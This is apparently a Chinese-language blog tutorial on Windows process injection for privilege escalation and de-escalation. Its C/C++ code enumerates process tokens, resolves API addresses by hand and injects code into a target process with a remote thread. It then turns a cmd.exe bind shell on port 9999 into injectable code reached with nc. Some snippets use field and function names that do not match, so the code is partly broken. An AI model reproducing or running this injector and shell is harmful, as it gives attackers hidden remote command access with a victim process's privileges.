C/C++进程代码注入&提权&降权

发表于 2020-10-09 更新于 2022-12-21 分类于 C++ 黑客编程本文字数： 10k

如果将shellcode注入到具有特定权限的进程中，我们就可以获得与该进程相同的权限，此方法可以用于提权与降权操作，注入有多种方式，最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中，并通过创建远程线程启动，还可以自己实现一个注入器，这里我们自己来实现一个提权器，可提权也可降权。

枚举系统进程，与进程权限令牌等。

#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

// 通过进程Token获取进程权限类型
void __stdcall EnumOwner(HANDLE htoken)
{
	DWORD dwLen;
	PSID pSid = 0;
	TOKEN_USER *pWork;
	SID_NAME_USE use;
	TCHAR User[256], Domain[256];

	GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);
	pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen);
	if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen))
	{
		dwLen = GetLengthSid(pWork->User.Sid);
		pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen);
		CopySid(dwLen, pSid, pWork->User.Sid);
		dwLen = 256;
		LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use);
		printf("\t 权限类型 => %s : %s ", Domain, User);
	}
}

// 枚举系统中进程的令牌权限信息
int enumprocess()
{
	HANDLE SnapShot, ProcessHandle, hToken;
	PROCESSENTRY32 pe32;

	// 拍摄快照
	SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	pe32.dwSize = sizeof(PROCESSENTRY32);

	if (Process32First(SnapShot, &pe32) == FALSE)
		return 0;

	while (1)
	{
		if (Process32Next(SnapShot, &pe32) == FALSE)
			return 0;
		
		printf("PID => %6i \t 进程名 => %-20s \t 线程数 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads);
		// 获取特定进程权限等
		ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID);
		if (ProcessHandle != NULL)
		{
			if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken))
			{
				EnumOwner(hToken);
				CloseHandle(hToken);
				CloseHandle(ProcessHandle);
			}
		}
		printf("\n");
	}
	return 1;
}

int main(int argc, char * argv[])
{
	ExtractProcessTokens();
	system("pause");
	return 0;
}

枚举线程权限类型

// 枚举特定进程中线程的Token值
int enumtoken(DWORD dwPID)
{
	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
	THREADENTRY32 te32;

	if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE)
	{
		te32.dwSize = sizeof(THREADENTRY32);
		if (Thread32First(hThreadSnap, &te32))
		{
			do
			{
				HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID);
				if (hThread != NULL)
				{
					HANDLE hToken;
					OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken);
					EnumOwner(hToken);
					CloseHandle(hToken);
				}
				
			} while (Thread32Next(hThreadSnap, &te32));
		}
	}
	return TRUE;
}

手工获取函数地址 第一步，手动获取到kernel32.dll地址，与GetProcaddress地址，然后就可以动态获取到任意函数的地址，先定义数据结构

typedef struct _ShellBase
{
	// 针对Kernel32的操作
	HANDLE KernelHandle;
	char kernelstring[20]; // kernel32.dll
	LOADLIBRARY KernelLoadLibrary;
	GETPROCADDRESS KernelGetProcAddress;

	// 针对User32的操作
	HANDLE UserHandle;
	char userstring[20];   // user32.dll
}ShellParametros;

然后，主函数获取地址，并写入全局结构体。

int main(int argc, char * argv[])
{
	ShellParametros Param;
	// 得到加载基地址的工具函数
	Param.KernelHandle = LoadLibrary("kernel32.dll");
	Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
	Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
	printf("获取到Kernel32.dll = %x", Param.KernelHandle);

	// 分别获取Kernel32与User32的对应字符串
	strcpy(Param.kernelstring, "kernel32.dll");
	strcpy(Param.userstring, "user32.dll");
	system("pause");
	return 0;
}

查询弹窗定义。

WINUSERAPI
int
WINAPI
MessageBoxA(
    _In_opt_ HWND hWnd,
    _In_opt_ LPCSTR lpText,
    _In_opt_ LPCSTR lpCaption,
    _In_ UINT uType);

头部声明

// Kernel32 调用约定定义
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

// User32调用约定定义
typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

获取地址，并转为MESSAGEBOX指针。

void __stdcall MyShell(ShellParametros *ptr)
{
	ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
	ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring);

	printf("动态获取到Kernel32基地址 = %x \n", ptr->KernelHandle);
	printf("动态获取到User32基地址 = %x \n", ptr->UserHandle);

	MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
	printf("%x \n", msgbox);
	msgbox(0, 0, 0, 0);
}

调用

注入目标进程，需要获得字符串，该字符串要存储到内存中，修改.

MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");

typedef struct _ShellBase
{
	// 针对Kernel32的操作
	HANDLE KernelHandle;
	char kernelstring[20]; // kernel32.dll
	LOADLIBRARY KernelLoadLibrary;
	GETPROCADDRESS KernelGetProcAddress;

	// 针对User32的操作
	HANDLE UserHandle;
	char userstring[20];   // user32.dll
	char msgbox[20];

}ShellParametros;

MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);

将代码注入到目标进程中，弹窗提示一下，开辟远程线程。

int main(int argc, char * argv[])
{
	ShellParametros Param, *remote = NULL;
	HANDLE hProcess;
	void *p = NULL;
	
	// 得到加载基地址的工具函数
	Param.Kernel32Base = LoadLibrary("kernel32.dll");
	Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
	Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
	// printf("获取到Kernel32.dll = %x", Param.KernelHandle);

	// 分别获取Kernel32与User32的对应字符串
	strcpy(Param.KernelString, "kernel32.dll");
	strcpy(Param.UserString, "user32.dll");

	strcpy(Param.User_MsgBox, "MessageBoxA");
	strcpy(Param.Text, "hello lyshark");

	// 根据PID注入代码到指定进程中
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508);
	p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
	WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
	CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0);
	return 0;
}

实现CMDShell 以下代码可实现正向cmdshell，我们将其改进一下，让其支持动态获取地址。

#include <winsock2.h>
#define Port 9999
#pragma comment(lib,"ws2_32.lib")

int main()
{
	SOCKET sSocket, cSocket;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	WSADATA wsaData;
	sockaddr_in sSockaddr;
	char szCmdPath[MAX_PATH];

	GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);

	WSAStartup(0x0202, &wsaData);
	cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	sSockaddr.sin_addr.s_addr = INADDR_ANY;
	sSockaddr.sin_family = AF_INET;
	sSockaddr.sin_port = htons(Port);
	bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr));
	listen(cSocket, 1);

	int sLen = sizeof(sSockaddr);
	sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen);
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.hStdInput = (HANDLE)sSocket;
	si.hStdOutput = (HANDLE)sSocket;
	si.hStdError = (HANDLE)sSocket;
	CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	WSACleanup();

	return 0;
}

依次验证常用函数所在动态链接库，就调用了2个库，好，我们继续写。

上方的代码就是一个正向CMDshell，我们将其写成自定位代码即可，首先定义需要用得到的指针。

// 定义各种指针变量
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR);

typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI *LISTEN) (SOCKET, int);
typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, 
	DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

main函数中向结构体中拷贝数据

memset((void *)&parametros, 0, sizeof(PARAMETROS));
strncpy(parametros.cmd, "cmd", 2);
parametros.port = htons((unsigned short)9999);

// 获取到动态链接库加载函数地址
parametros.KernelHandle = LoadLibrary("kernel32.dll");
parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");

// 拷贝 winsock 字符串
strcpy(parametros.wsastring, "ws2_32.dll");
strcpy(parametros.wsastartupstring, "WSAStartup");
strcpy(parametros.WSASocketString, "WSASocketW");
strcpy(parametros.WSAConnectstring, "WSAConnect");
strcpy(parametros.bindstring, "bind");
strcpy(parametros.acceptstring, "accept");
strcpy(parametros.listenstring, "listen");

// 拷贝 kernel32 字符串
strcpy(parametros.kernelstring, "kernel32.dll");
strcpy(parametros.CreateProcessstring, "CreateProcessA");

调用shell代码，代码先执行动态获取API地址，然后动态调用。

// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS *ptr)
{
	// 通过GetProcAddress获取到ws2.dll中的所有函数地址
	ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
	ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
	ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
	ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
	ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
	ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
	ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);

	// 通过GetProcAddress获取到kernel32.dll中的所有函数地址
	ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
	ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
	ptr->ShellWsaStartup(0x101, &HWSAdata);
	s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
	sa.sin_family = AF_INET;
	sa.sin_port = ptr->port;
	sa.sin_addr.s_addr = 0;
	ptr->ShellBind(s, (struct sockaddr *) &sa, 16);
	ptr->ShellListen(s, 1);
	
	while (1)
	{
		n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL);
		si.cb = sizeof(si);
		si.wShowWindow = SW_HIDE;
		si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
		si.hStdInput = si.hStdOutput = si.hStdError = (void *)n;
		si.lpDesktop = si.lpTitle = (char *)0x0000;
		si.lpReserved2 = NULL;
		ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
	}
}

最后，主函数开辟远程线程，即可完成权限提升，下载地址中包括32与64两个版本，不同版本对应不同位数。

首先使用注入器注入一个正在运行的进程，参数为PID

使用NC直接连接进去，即可获取到，与注入进程相同的权限，端口写死了9999

如果目标进程开启了，动态地址，ASLR，等则注入会失败，程序崩溃，这里需要注意一下。